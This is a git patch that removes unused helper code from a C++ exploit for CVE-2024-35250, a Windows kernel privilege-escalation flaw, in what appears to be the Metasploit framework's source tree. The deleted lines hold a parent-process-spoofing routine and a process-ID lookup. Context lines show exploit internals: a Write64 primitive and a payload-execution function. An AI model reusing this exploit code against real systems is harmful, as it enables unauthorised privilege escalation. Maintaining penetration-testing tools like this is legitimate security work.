From 10cd8d10205ebbc54c9ed2c9bbca2dde01197db8 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Tue, 5 Nov 2024 15:47:52 -0800 Subject: [PATCH] Removed unnecessary code from exploit.cpp --- .../exploits/CVE-2024-35250/exploit.cpp | 69 ------------------- 1 file changed, 69 deletions(-) diff --git a/external/source/exploits/CVE-2024-35250/exploit.cpp b/external/source/exploits/CVE-2024-35250/exploit.cpp index 90bcbab7d6ca..12da24d305e2 100644 --- a/external/source/exploits/CVE-2024-35250/exploit.cpp +++ b/external/source/exploits/CVE-2024-35250/exploit.cpp @@ -19,7 +19,6 @@ Required privileges: Medium IL #define _INC_MMREG #define _PREVIOUS_MODE 0xbaba -#define DEBUGTRACE 1 #include #include #include @@ -199,74 +198,6 @@ NTSTATUS Write64(void* Dst, void* Src, size_t Size) } return Status; } -// -// original from https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6 -// -DWORD CreateProcessFromHandle(HANDLE Handle, LPSTR command) { - STARTUPINFOEXA si; - PROCESS_INFORMATION pi; - SIZE_T size; - BOOL ret; - - // Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute - ZeroMemory(&si, sizeof(STARTUPINFOEXA)); - - InitializeProcThreadAttributeList(NULL, 1, 0, &size); - si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc( - GetProcessHeap(), - 0, - size - ); - InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size); - UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &Handle, sizeof(HANDLE), NULL, NULL); - - si.StartupInfo.cb = sizeof(STARTUPINFOEXA); - - // Finally, create the process - ret = CreateProcessA( - NULL, - command, - NULL, - NULL, - true, - EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, - NULL, - NULL, - reinterpret_cast(&si), - &pi - ); - - if (ret == false) { - return 3; - } - - return 0; -} - -ULONG GetPidByName(const wchar_t* procname) { - PROCESSENTRY32 entry; - entry.dwSize = sizeof(PROCESSENTRY32); - - ULONG pid; - - HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - - if (Process32First(snapshot, &entry) == TRUE) - { - while (Process32Next(snapshot, &entry) == TRUE) - { - if (wcscmp((const wchar_t*)entry.szExeFile, procname) == 0) - { - pid = entry.th32ProcessID; - break; - } - } - } - - CloseHandle(snapshot); - return pid; -} - void ExecutePayload(PMSF_PAYLOAD pMsfPayload) { if (!pMsfPayload)